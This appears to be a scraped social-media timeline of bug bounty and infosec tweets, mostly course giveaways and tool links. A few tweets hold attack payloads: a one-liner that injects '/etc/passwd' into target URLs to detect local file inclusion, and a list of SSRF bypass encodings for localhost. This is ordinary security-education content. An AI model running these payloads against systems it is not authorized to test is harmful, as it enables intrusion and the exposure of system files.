jellysio

IT Security Consultant

[jellysio @jellysio]

@BuddoBot @Jhaddix

[Mike Privette @mikepsecuritee]

It’s the time of year again for the world famous InfoSec Black Friday GitHub repo from @securitymeta_ !

This has been a huge hit running over 5 year, and has just about everything a cybersecurity person would want.

(Plus a few things from me as well 😎) https://t.co/rochIGRaQs

[jellysio @jellysio]

@Jhaddix @BuddoBot

[jellysio @jellysio]

@Jhaddix https://t.co/IaSxYRYKox

[JS0N Haddix @Jhaddix]

Ok fam. I’m giving away TWO free tickets to my course which takes place in two/three weeks.

All you have to do to win is like, retweet this tweet, and reply with “https://t.co/VnOqGJ5Yyo!”

I’ll pick winners next week!

If you haven’t seen my course, check out the link!

[Nicolas Krassas @Dinosn]

Automatically decrypt encryptions without knowing the key or cipher, decode encodings, and crack hashes https://t.co/iv9F2XNRe5

[Daniel Kelley @danielmakelley]

30 cybersecurity search engines for researchers:

1. Dehashed—View leaked credentials.
2. SecurityTrails—Extensive DNS data.
3. DorkSearch—Really fast Google dorking.
4. ExploitDB—Archive of various exploits.
5. ZoomEye—Gather information about targets.

[Luke Stephens (hakluke) @hakluke]

Okay here's the deal.

I'm giving away 100 @TCMSecurity training courses. 50 of them are the Practical Ethical Hacking course, and the other 50 are Practical Malware Analysis & Triage.

To enter:

1. Retweet this tweet
2. Follow @hakluke, @haksecio and @hacker_content

Good luck!

[The Hacker's Choice (@[email protected]) @hackerschoice]

THE RELEASE: Disposable Root Servers and Linux Shells for EVERYONE. Try `ssh [email protected]`. Password is 👉segfault👈 #root #linux #hacking
https://t.co/root2pKjMa

[PortSwigger Research @PortSwiggerRes]

Predictable GUID vulnerabilities are often critical and easily overlooked. This extremely practical writeup & tool release by @_danielthatcher is well worth a read:
https://t.co/IaqlOKi5OK

[STÖK ✌️ @stokfredrik]

🧠 Maybe it’s just me, but with the constant flow of new information in tech.

I forget stuff that I used to work with/on and know like the back of my hand,

Thank <insert higher power> for search engines, release notes, writeups / blogposts and old personal archives.

[JS0N Haddix @Jhaddix]

A thread🧵

💸Secrets of automation-kings in bug bounty💸

Finding 1day (or 1month) web exploits that haven't made their into scanners yet can make you big money.

Read more to understand where and how to get an edge in this area!

🚨Retweet, follow, & like for more! 🚨

1/x

[TRÄW🤟 @thatstraw]

Useful Linux Listing Commands 90% of you might not know about.🧵↓

[Raja Nagori @RajaNagori7]

I was roaming around the blogs and tweets and got some useful scripts that gives us almost accurate results

1. Local File Inclusions
gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q " root:x" && echo " VULN! %"'

[Hacking Articles @hackinarticles]

Best of OSCP Preparation

https://t.co/jYFJZWoNw0

https://t.co/SSNl8Jn4Hl

https://t.co/ULszOOW6ee

https://t.co/T7V12gmbjZ

#infosec #cybersecurity #cybersecuritytips #pentesting #oscp #informationsecurity #cissp #CyberSec #bugbounty #bugbountytips #CheatSheet #bugbountytip

[haksec.io @haksecio]

Can't decide what to attack first?

- Get a list of hosts belonging to target
- Resolve them to IP addresses
- Put the IP addresses into https://t.co/OFBTdDF5wc to see where they are hosted
- Uncover unmonitored/shadow assets by looking for irregular hosting providers

Thread🧵👇

[𝐑𝐀𝐢𝐡𝐚𝐧 ✪ @zapstiko]

Hope this helps you in your next finding ✌️@R0X4R

https://t.co/H4YRiAiODG

#bugbountytips #bugbounty

[𝐑𝐀𝐢𝐡𝐚𝐧 ✪ @zapstiko]

Impact by extension @Eyhuss1
asp, aspx, php : webshell, rce
svg: stored xss, ssrf, xxe
gif: stored xss, ssrf
csv: csv injection
xml:xxe
avi: lfi,ssrf
html,js: html injection, xss, open redirect
png: pixel flood attack, dos
zip: rce via lfi, dos
pdf: ssrf, blind xxe
#bugbountytips

[ghostlulz @ghostlulz1337]

🚨SSRF Bypass🚨

Blacklisting IPs does not work. There are many ways to represent an IP such as 127.0.0.1.

http://127.0.1
http://127.1
http://0.0.0.0
http://0
http://0x7f000001
http://2130706433
http://017700000001
http://[::]:80

#bugbiuntytips #BugBounty #bugbountytip